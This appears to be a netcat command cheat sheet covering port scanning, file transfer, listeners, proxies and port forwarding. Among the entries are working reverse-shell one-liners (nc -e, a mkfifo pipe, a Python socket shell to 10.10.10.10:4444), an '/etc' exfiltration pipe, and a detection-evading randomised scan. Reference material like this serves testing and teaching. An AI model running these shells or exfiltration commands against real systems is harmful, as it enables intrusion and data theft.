nc 192.168.1.1 80Connects to the target host on port 80 using TCP.
The TCP/IP Swiss-army knife: connect to and listen on ports, transfer files, banner-grab and catch reverse shells.
sudo apt install netcat-openbsd ncatnc -z -v 192.168.1.1 20-80Scans TCP ports 20 through 80 in Zero-I/O mode to identify open ports.
nc -z -v -u 192.168.1.1 1-100Scans UDP ports 1 through 100 to identify listening services.
nc -z -v -w 1 192.168.1.1 80 443 8080Scans specific individual ports with a 1-second timeout per port.
nc -l -p 1234 > received_file.txtListens on port 1234 and writes all incoming data to a file.
nc 192.168.1.1 1234 < file_to_send.txtConnects to the receiver and sends the contents of a local file.
nc -w 5 192.168.1.1 80Connects to the target but times out if the connection remains idle for 5 seconds.
nc 192.168.1.1 25 << EOF
HELO test.com
QUIT
EOFFeeds a multi-line HERE-doc string into the netcat connection automatically.
nc -k -l -p 8080Listens on port 8080 and keeps listening even after the client disconnects.
nc -vv 192.168.1.1 80Connects with very verbose output for deep debugging of the connection handshake.
nc -i 2 192.168.1.1 80Inserts a 2-second delay interval between lines of text sent or received.
nc -l -p 4444 -e /bin/bashListens on port 4444 and executes bash for whoever connects (insecure).
nc 10.10.10.10 4444 -e /bin/bashConnects to a listener and executes a shell, sending control to the remote user.
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.10 4444 > /tmp/fCreates a reverse shell using named pipes for Netcat versions without the -e flag.
nc -v -z -w 2 192.168.1.1 1-65535Performs a full TCP port scan with verbose output to identify all open services.
nc -l -p 80Simulates a web server listener to test if a firewall permits inbound port 80 traffic.
Example
sudo nc -l -p 80nc -v 192.168.1.1 80 2> connection_log.txtRedirects verbose status messages (stderr) to a log file while keeping data on stdout.
tar cf - /etc | nc 10.10.10.10 1234Compresses the /etc directory and streams it directly to a remote listener (Data Exfiltration).
nc -l -p 1234 | tar xf -Listens for an incoming stream and immediately extracts the archive to disk.
dd if=/dev/sda | nc 10.10.10.10 9000Clones a raw disk image and streams it over the network for forensic capture.
nc -l -p 5555 -c '/bin/bash script.sh'Executes a shell script via /bin/sh upon connection (Traditional netcat only).
nc -v -r -z 192.168.1.1 20-80Scans ports 20-80 in a randomized order to potentially evade simple detection logic.
nc -q 5 192.168.1.1 80 < input.txtSends a file and waits 5 seconds after EOF before closing the connection.
nc -b -u 255.255.255.255 1234Allows sending UDP packets to the broadcast address (requires support in binary).
nc -t 192.168.1.1 23Enables Telnet negotiation handling for connecting to Telnet servers.
nc -I 1024 192.168.1.1 80Sets the TCP receive buffer size to 1024 bytes (useful for flow control testing).
nc -n -l -p 4444Listens on port 4444 and prevents DNS lookup of the connecting IP for speed.
nc -w 1 -z 192.168.1.1 80-85Scans a small range with a strict 1-second timeout per port to prevent hanging.
printf 'HTTP/1.1 200 OK\n\nHello World' | nc -l -p 8080Responds with a valid HTTP 200 OK message to a single browser request.
nc -C 192.168.1.1 25Connects to SMTP and forces CRLF line endings (required by some mail servers).
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Uses Python to spawn a reverse shell if Netcat -e is unavailable.
Example
python -c '...' (See command field)nc -l -p 514 | tee syslog_capture.logActs as a Syslog receiver on UDP 514 and displays logs while saving to file.
Example
nc -l -u -p 514 | tee syslog_capture.lognc -d -l -p 1234Listens on port 1234 but ignores stdin (prevents closing on terminal input).
nc -N 192.168.1.1 80Shutdowns the network socket for writing after stdin closes (useful for HTTP).
Example
echo 'GET / HTTP/1.0' | nc -N 192.168.1.1 80nc -T lowdelay 192.168.1.1 80Sets the IP TOS (Type of Service) byte to 'lowdelay' for traffic prioritization.
nc -x 127.0.0.1:1080 -X 4 192.168.1.1 80Connects to the target through a specific SOCKS4 proxy.
mknod backpipe p && nc -l -p 8080 0<backpipe | nc 192.168.1.1 80 1>backpipeCreates a manual port forwarder using a named pipe to relay traffic between ports.
A bidirectional data relay between almost any two endpoints — sockets, files, pipes, TLS — ideal for port forwarding and stable shells.
Transfers data with URLs over HTTP, FTP and many other protocols. Indispensable for testing APIs, headers and authentication.
OpenSSH: secure remote login, key management, file transfer and port forwarding — local, remote and dynamic SOCKS tunnels.